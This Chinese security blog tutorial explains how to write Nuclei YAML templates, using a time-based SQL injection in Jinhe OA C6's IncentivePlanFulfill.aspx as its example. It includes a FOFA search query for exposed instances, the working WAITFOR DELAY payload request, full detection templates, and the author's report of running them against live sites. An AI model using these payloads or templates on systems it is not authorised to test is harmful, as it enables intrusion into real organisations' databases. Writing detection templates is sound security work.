【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇

admin 2024年5月31日10:33:24评论16 views字数 3999阅读13分19秒阅读模式
本文由安云安全内部群-鲁鲁师傅原创投稿,hao师傅进行排版及校对

前情提要

基础篇没看过的师傅建议先看一下关于Yaml脚本的基础知识: 

【脚本编写】Nuclei-yaml脚本速成新手教程--基础篇

【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇

SQL注入篇

基础的语法和常用筛选器说完了,我们直接进入正题,看百遍,不如动手做一遍,我们还是以最基础的SQL注入漏洞的POC编写
案例说明

本次SQL注入以金和OA C6 IncentivePlanFulfill.aspx接口SQL注入漏洞作为案例进行讲解
fofa:app="金和网络-金和OA"
漏洞POC如下:
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1Host: User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
yaml文件编写

首先,分析下poc的具体情况:

问题参数:IncentiveID

测试payload:%20WAITFOR%20DELAY%20'0:0:5'   

这里用的延时5秒,按照payload的提供的方法,我们只需要关注执行该payload执行后,响应时间大于或等于5秒的站点,就有可能存在该注入问题

开始编写:

id: jinhe-C6-IncentivePlanFulfill-sqli    #注意ID格式,不要有特殊字符和空格哈info:  name: jinhe-C6-IncentivePlanFulfill-sqli   #信息块部分也是一样  author: 思沃科技       #作者  severity: critical    #风险等级  description: 金和OA C6 IncentivePlanFulfill SQL注入漏洞    #这里备注可有可无,但是建议写上,免得你自己也不知道这个脚本是干啥的http:  - raw:      - |     #这里的GET为请求体,这里直接把所有poc复制过来即可        GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1        User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)        Accept: */*        Accept-Language: zh-CN,zh;q=0.9        Connection: close        Cache-Control: no-cache        Pragma: no-cache        Host: {{Hostname}}#User-Agent,Accept,Accept-Language,Connection,Cache-Control,Pragma这些可以删除掉,并不会影响执行,而且代码会更简洁一些(有些特殊的站点,会要求请求中加入特殊的HTTP头信息,这个遇到了再说)    matchers:      #匹配器      - type: dsl  #匹配响应码的        dsl:          - 'duration>=5'   #延时大于等于5秒
测试过程

脚本编写完毕后,我们开始测试:

【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇

简单的跑了几个站点,可以发现,有部分站点已经匹配到了我们的响应时间>=3秒的规则,来试试准确度吧。

【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇

【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇

测试了几个,几乎全部命中,运气还算不错。

注意事项

如果只匹配响应时间的话,结果很不稳定,误报率很高,延迟时间会根据你当前网络、目标服务器响应速度发生变化,存在较高的误报率,这里不建议用单一的匹配规则。

尽量采用2个以上的规则来进行精确匹配,例如:我们为了减少误报率,可以通过--debug的方式,来看看确认存在注入的这些站点,返回的信息是什么。

【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇

通过--debug参数,看目标的返回包信息,虽然没有明显的报错特征,只返回了HTTP/1.1 200 OK,也就是说,只要响应时间大于等于5秒,并且页面是存在的(HTTP响应码为 200)时候,就有可能存在SQL注入漏洞,那我们就提取特征,来增加个匹配条件,减少误报的可能。这里使用匹配规则为:

matchers: #匹配器  - type: dsl   #type为类型,dls为匹配响应时间方法    dsl:         - 'duration>=5'   #响应时间大于等于5秒  - type: status  #匹配HTTP状态码    status:      - 200     #匹配状态码为200matchers-condition: and    #该条件为,两者都匹配后返回为true,否则为false,当然了,可以把and换成or,这样就只匹配其中任意一条策略了。
进阶写法

如果遇到这种延时注入,还有一种写法,可以设置两个请求

请求一的延时设置为3

请求二的延时设置为5

如果两个请求之后,最终返回的延时时间满足了:

请求一的响应时间>=3且<=4

请求二的响应时间>=5且<=6

上面的两个要求同时满足基本可以确定漏洞存在,而且由于请求了两次,基本上可以避免99%由于网络原因导致的响应时间过于长而引起的误报

id: jinhe-C6-IncentivePlanFulfill-sqli    #注意ID格式,不要有特殊字符和空格哈info:  name: jinhe-C6-IncentivePlanFulfill-sqli   #信息块部分也是一样  author: 思沃科技       #作者  severity: critical    #风险等级  description: 金和OA C6 IncentivePlanFulfill SQL注入漏洞    #这里备注可有可无,但是建议写上,免得你自己也不知道这个脚本是干啥的http:  - raw:      - |    #这里的GET为请求体1,请求2的延时设置为3          GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:3'--&TVersion=1 HTTP/1.1          User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)          Accept: */*          Accept-Language: zh-CN,zh;q=0.9          Connection: close          Cache-Control: no-cache          Pragma: no-cache          Host: {{Hostname}}      - |     #这里的GET为请求体2,请求2的延时设置为5          GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1          User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)          Accept: */*          Accept-Language: zh-CN,zh;q=0.9          Connection: close          Cache-Control: no-cache          Pragma: no-cache          Host: {{Hostname}}#User-Agent,Accept,Accept-Language,Connection,Cache-Control,Pragma这些可以删除掉,并不会影响执行,而且代码会更简洁一些(有些特殊的站点,会要求请求中加入特殊的HTTP头信息,这个遇到了再说)    matchers:          - type: dsl            dsl:              - 'duration_1>=3 && duration_1<=4'  #请求1的延时>=3且<=4              - 'duration_2>=5 && duration_2<=6'  #请求2的延时>=5且<=6
通过这种请求两次的方式,可以显著减少时间注入yaml脚本的误报率

【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇

非时间SQL注入写法

如果注入遇到单引号可以报数据库错误、引号没有闭合的情况,可以将错误提示匹配到规则中,这样会比匹配响应时间更精确;比如下面这个SQL注入POC中,发送POC后,返回的内容中包含了错误提示:
qkpzq1qqkkq
我们可以把这个错误提示用来作为是否存在漏洞的标志

【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇

类似这样:

matchers:  - type: word    part: body    words:      - "qkpzq1qqkkq"    #报错提示
写在最后

 
这篇文章主要讲了yaml脚本速成新手教程--SQL注入篇的内容,后面我会将文件上传、暴力破解、未授权访问、命令执行等常见的情况,通过笔记的方式分享给各位师傅,逐步完善,希望能给大家带来帮助。

 

原文始发于微信公众号(银遁安全团队):【脚本编写】Nuclei-yaml脚本速成新手教程--SQL注入篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月31日10:33:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【脚本编写】Nuclei-yaml脚本速成新手教程SQL注入篇https://cn-sec.com/archives/2798430.html

发表评论

匿名网友 填写信息